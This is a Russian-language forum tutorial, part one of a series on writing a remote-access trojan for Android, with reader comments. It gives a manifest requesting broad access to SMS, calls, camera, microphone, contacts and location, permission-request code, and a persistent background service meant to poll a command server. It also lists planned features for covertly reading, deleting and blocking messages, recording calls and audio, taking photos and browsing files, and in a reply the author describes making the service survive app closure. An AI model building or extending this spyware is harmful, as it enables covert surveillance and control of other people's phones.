• Открыта запись на вторую часть курса по анонимности и безопасности в сети интернет "Paranoid II" от команды codeby. Анонимные роутеры, Подъём, настройка и администрирование Tor-ноды, Работа с железом ПК, Удаление аппаратных закладок, Минимизация рисков, Авторские разработки и многое другое. Подробнее ...

  • Напоминаем, что 1 декабря стартует курс "Тестирование Веб-Приложений на проникновение с нуля" от команды codeby. Общая теория, подготовка рабочего окружения, пассивный фаззинг и фингерпринт, активный фаззинг, уязвимости, пост-эксплуатация, инструментальные средства, Social Engeneering и многое другое. Подробнее ...

Статья Свой RAT для Android - Часть 1

Продолжать ?

  • Да

    Голосов: 69 100,0%
  • Нет

    Голосов: 0 0,0%

  • Всего проголосовало
    69
Vorobyshek

Vorobyshek

Grey Team
11.09.2016
8
55
Содержание статьи:
  1. Приветствие
  2. Создание проекта в Android Studio
  3. Создание шаблона приложения и создание части будущего функционала
  4. Заключение
1. Приветствие

Всем читателям привет и добрый вечер. Это моя первая статья на тему создания RAT (или же бота) для Android на языке Java, да и вообще в принципе моя первая статья.

Автор этой статьи вдохновился уже существовавшим RAT для Android под названием Dendroid-HTTP-RAT (или же BetterAndroidRat), но по прошествии многих лет часть функционала перестала работать, а часть и вовсе требует разрешений у системы Android для полноценной работы. Вот так автор немного покумекал и решил, а почему бы не написать свой RAT имея часть готового функционала, который со спокойной душой можно дополнить своим.

Сам же проект будет состоять из нескольких частей - сервер и клиент. В качестве клиента у нас будет выступать сам RAT, установленный на Android смартфон, а в качестве сервера будет выступать наш WEB-интерфейс (сайт) или же программа для отправки команд на сервер (которую мы с вами, возможно, напишем в будущих статьях).

Для написания серверной части нам понадобится знания PHP, HTML, CSS, MySQL и прочего (ну по факту большая часть кода будет предоставлена). А для клиента, о какая радость, всего один язык - Java.

Я думаю что с вступлением можно покончить т.к. большинство, наверное, уже хочет перейти к самому коду, так что вперед.


2. Создание проекта в Android Studio

Помощь.
Я надеюсь что те кто хочет написать или писал приложения для Android уже установили AndroidStudio (в теории и Eclipse бы подошел, но автор пишет в AS так что будьте добры, не злитесь, если вдруг что-то из моих действий не вышло сделать в среде Eclipse), поэтому приступаем к созданию пустого проекта. Выбираем свое название, выбираем минимальную версию SDK 16 и язык разработки Java, жмем "Finish".
Свой RAT для Android - Часть 1
Свой RAT для Android - Часть 1
Идем дальше.

2. Создание шаблона приложения и создание части будущего функционала
Я думаю что всем хотелось бы чтобы их программа работала на старших версиях Android, поэтому первым делом мы создадим метод для получения разрешений. Однако перед этим заглянем в манифест приложения и напишем все с чем нам нужно работать. Если вам кажется что какие методы не нужны, то можете их убрать (я действительно добавил их больше чем требуется)
XML:
<uses-permission android:name="com.android.vending.BILLING" />
<uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" />
<uses-permission android:name="android.permission.VIBRATE" />
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
<uses-permission android:name="android.permission.READ_SMS" />
<uses-permission android:name="android.permission.SEND_SMS" />
<uses-permission android:name="android.permission.RECEIVE_SMS" />
<uses-permission android:name="android.permission.READ_PHONE_STATE" />
<uses-permission android:name="android.permission.RECORD_AUDIO" />
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
<uses-permission android:name="android.permission.WAKE_LOCK" />
<uses-permission android:name="android.permission.CHANGE_NETWORK_STATE" />
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />
<uses-permission android:name="android.permission.CHANGE_WIFI_STATE" />
<uses-permission android:name="android.permission.BLUETOOTH" />
<uses-permission android:name="android.permission.BLUETOOTH_ADMIN" />
<uses-permission android:name="android.permission.READ_SYNC_SETTINGS" />
<uses-permission android:name="android.permission.NFC" />
<uses-permission android:name="android.permission.READ_CONTACTS" />
<uses-permission android:name="android.permission.TRANSMIT_IR" />
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.CAMERA" />
<uses-permission android:name="android.permission.WRITE_CALL_LOG" />
<uses-permission android:name="android.permission.READ_CALL_LOG" />
<uses-permission android:name="android.permission.FLASHLIGHT" />
<uses-permission android:name="android.permission.CALL_PHONE" />
<uses-permission android:name="android.permission.GET_PACKAGE_SIZE" />
<uses-permission android:name="com.android.launcher.permission.UNINSTALL_SHORTCUT" />
<uses-permission android:name="android.permission.KILL_BACKGROUND_PROCESSES" />
<uses-permission android:name="android.permission.WRITE_CONTACTS" />
<uses-permission android:name="android.permission.WRITE_SYNC_SETTINGS" />
Ну что же, с манифестом покончено, пора приступать к методу получения разрешений. Мы проверим версию SDK и если она будет выше 23 (где-то 5-я или 6-я версия Android; автор слишком ленив чтобы проверять)
Java:
public void checkPermission() {
    if (Build.VERSION.SDK_INT >= 23) {
        List<String> permissions = null;

        if (checkSelfPermission(Manifest.permission.READ_PHONE_STATE) != PackageManager.PERMISSION_GRANTED) {
            permissions = new ArrayList<>();
            permissions.add(Manifest.permission.READ_PHONE_STATE);
        }
        if (checkSelfPermission(Manifest.permission.GET_ACCOUNTS) != PackageManager.PERMISSION_GRANTED) {
            permissions = new ArrayList<>();
            permissions.add(Manifest.permission.GET_ACCOUNTS);
        }
 
        //Тут нужно будет дописать остальные разрешения по такому типу
        /*
        if (checkSelfPermission(Manifest.permission.РАЗРЕШЕНИЕ) != PackageManager.PERMISSION_GRANTED) {
            permissions = new ArrayList<>();
            permissions.add(Manifest.permission.РАЗРЕШЕНИЕ);
        }
        */

        if (permissions != null) {
            String[] permissionArray = new String[permissions.size()];
            permissions.toArray(permissionArray);
            requestPermissions(permissionArray, 0);
        }
    }
}
Увы и ах, но остальные разрешения вам нужно будет дописать самим. Надеюсь что это не составит большого труда.
Также в будущем мы добавим еще один метод для проверки, который будет повторно вызывать получение разрешений в случае отказа пользователя (но это уже потом, так что можно было это не читать).

Ну и теперь пропишем в главной функции наш метод.
Java:
@Override
protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    setContentView(R.layout.activity_main);

    try {
        checkPermission();
    } catch (Exception e) {
        e.printStackTrace();
    }

}

Надеюсь ни у кого не вызвало вопрос почему я сделал запрос через try (ну, а если вдруг и вызвало, то скажу - чтобы при ошибке не вылетела программа и мы могли просмотреть ее в режиме debug).
И так. С главной частью покончили, теперь можем быть спокойны что наше приложение будет работать на всех версиях (но это не точно) Android (начиная с минимально указанной нами версии при создании проекта). Дальше нам потребуется создать метод для запуска сервиса и сам сервис.

Можем приступать к следующему этапу. Для начала создадим новый Java файл и назовем его MainService. Дальше нужно дописать нашему классу наследование и создать пару методов. Чтобы вас сильно не нагружать, даю сразу код. И да, AndroidStudio должна сама выдавать нужные импорты, поэтому в коде я их не указываю .
Java:
public class MainService extends Service {

    private final IBinder myBinder = new MyLocalBinder();

    //Если вы выбрали другое название, то поменяйте MainService на свое
    public class MyLocalBinder extends Binder {
        MainService getService() {
            return MainService.this;
        }
    }

    @Override
    public IBinder onBind(Intent intent) {
        return myBinder;
    }
}

Так же сразу в MainService создадим функцию которая будет вызвана при создании и сделаем так чтобы она была в потоке.
Java:
@Override
public void onCreate() {
    super.onCreate();
    obtainTask.start();
}
Осталось только создать наш поток и можем на время забыть про наш сервис. И так, пишем следующее.
Java:
Thread obtainTask = new Thread() {
    @SuppressLint("Wakelock") @Override
    public void run() {
        Looper.prepare();

        while (true) {
            try {
                Thread.sleep(10000);
            } catch (Exception e) {
                obtainTask.start();
            }
        }
    }
};
Пока что наш сервис ничего не делает, происходит лишь перезапуск сервиса каждые 10 секунд. После мы еще вернемся к нашему сервису т.к. он в дальнейшем будет получать команды, обрабатывать их и отправлять данные на сервер, но на пока мы можем возвращаться в наш главный файл MainActivity и создать там функцию для проверки работоспособности сервиса, который мы только что создали.
Java:
private boolean isMyServiceRunning() {
    ActivityManager manager = (ActivityManager) getApplicationContext().getSystemService(Context.ACTIVITY_SERVICE);
    for (RunningServiceInfo service : manager.getRunningServices(Integer.MAX_VALUE)) {
        if (MainService.class.getName().equals(service.service.getClassName())) { //вместо MainService название ранее созданного вами сервиса
            return true;
        }
    }
    return false;
}
Теперь осталось только сделать проверку при запуске программы.
Java:
if(!isMyServiceRunning()) {
    startService(new Intent(getApplicationContext(), MainService.class)); //название MainService замените на свое
}
4. Заключение
И да, изначально код может совпадать в некоторых местах с уже упомянутым Dendroid, но это только начало, так что надеюсь что это будет воспринято адекватно. В дальнейшем я планирую сделать следующий функционал :
  1. Получение команд с сайта @feature
  2. Получение команд через Telegram бота
  3. Получение команд через смс
  4. Работа с сообщениями
    1. Получение сообщений @feature
    2. Получение сообщений с конкретным пользователем
    3. Удаление сообщение
    4. Блокировка сообщений
    5. Отправка сообщений
  5. Работа со звонками
    1. Получение звонков @feature
    2. Получение звонков с конкретным пользователем
    3. Удаление звонков
    4. Блокировка звонков
    5. Вызов абонента
    6. Запись звонков
  6. Работа с камерой
    1. Съемка с камер @feature
    2. Видеосъемка
  7. Запись звука
  8. Получение медиа (фотографий) @feature
  9. Доступ к проводнику (доступ к файловой системе)
  10. Получение информации об устройстве (куда же без нее) @feature
  11. Управление смартфоном
    1. Громкость
    2. Яркость
    3. Обои
    4. Прочее
Весь этот список будет расширяться. Где есть пометка @feature, значит этот функционал реализован на момент написания статьи.
Надеюсь статья вышла интересной и не громоздкой. Пишите свои пожелания по поводу того что стоит исправить, как лучше подойти к оформлению статьи и какой стиль общения хотели бы вы видеть дальше. Если понравилось то поставьте отметку на опросе.

Свой RAT для Android - Часть 1
Свой RAT для Android - Часть 1
Свой RAT для Android - Часть 1
 
Napalm

Napalm

Member
01.07.2019
5
2
Пишите свои предложения и пожелания, буду рад любой критике. Если заметите ошибки в написании, говорите.
Извините я правильно вас понимаю: в отдельном потоке каждые 10 секунд создаётся новый сервис? после закрытия приложения, сможет ли система остановить поток
да ещё интересно, зачем нужен looper.prepare?
 
Vorobyshek

Vorobyshek

Grey Team
11.09.2016
8
55
Извините я правильно вас понимаю: в отдельном потоке каждые 10 секунд создаётся новый сервис? после закрытия приложения, сможет ли система остановить поток
да ещё интересно, зачем нужен looper.prepare?
Looper.prepare(); используется для того чтобы наш поток не завершался (посмотрел в гугле, точнее не отвечу). И Вы не совсем правильно поняли. У нас запускается поток и внутри него есть цикл while(true), который получает команды с сервера и потом делает так чтобы поток "спал" 10 секунд, а потом снова повторял цикл while. Если вдруг не вышло "усыпить" поток на 10 сек, то мы обрываем выполнение потока и снова его запускаем. (И отвечаю на вопрос - новый сервис не создается и после закрытия приложения сервис успешно продолжает работать; и в следующих частях я буду создавать Receiver, который будет запускать наш сервис в случае его остановки)
Свой RAT для Android - Часть 1
 
Мы в соцсетях:  ТелеграмВконтактеДзенФейсбукТвиттерЮтуб